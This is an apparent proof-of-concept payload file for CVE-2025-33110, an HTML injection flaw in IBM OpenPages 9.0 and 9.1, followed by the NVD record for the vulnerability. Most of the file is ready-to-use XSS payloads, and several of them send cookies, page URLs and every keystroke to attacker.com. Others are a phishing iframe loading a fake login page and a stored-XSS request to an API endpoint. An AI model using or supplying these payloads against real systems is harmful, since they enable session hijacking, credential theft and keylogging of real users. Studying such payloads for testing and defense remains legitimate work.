CVE-2025-33110

<!-- CVE-2025-33110 HTML Injection PoC --> <!-- Target: IBM OpenPages 9.0/9.1 --> <!-- This PoC demonstrates HTML injection in user input fields --> <!-- Basic HTML Injection Payload --> <script>alert('XSS - CVE-2025-33110')</script> <!-- Cookie Stealing Payload --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Session Hijacking Payload --> <script> document.write('<img src="https://attacker.com/log?cookie='+document.cookie+'&url='+window.location.href+'">'); </script> <!-- Phishing Payload --> <iframe src="https://attacker.com/fake-login.html" width="100%" height="100%"></iframe> <!-- Keylogger Payload --> <script> document.onkeypress=function(e){ fetch('https://attacker.com/log?key='+e.key); } </script> <!-- Image Tag Bypass Payload --> <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> <!-- SVG Payload --> <svg onload="fetch('https://attacker.com/exfil?data='+document.cookie)"> <!-- Stored XSS via API --> <!-- POST /api/submit-data HTTP/1.1 --> <!-- Content-Type: application/json --> <!-- {"field": "<script>alert(document.domain)</script>"} -->

{"cve": {"id": "CVE-2025-33110", "sourceIdentifier": "[email protected]", "published": "2025-11-06T21:15:42.157", "lastModified": "2025-11-24T15:27:56.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM OpenPages 9.1, and 9.0 with Watson is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim's Web browser within the security context of the hosting site."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:openpages:9.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "F8ACBB76-355D-43F6-851E-0B79EE52AC19"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:openpages:9.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "F78E4CFE-31E7-4FFF-8DB4-6D7AC69A2248"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7250321", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}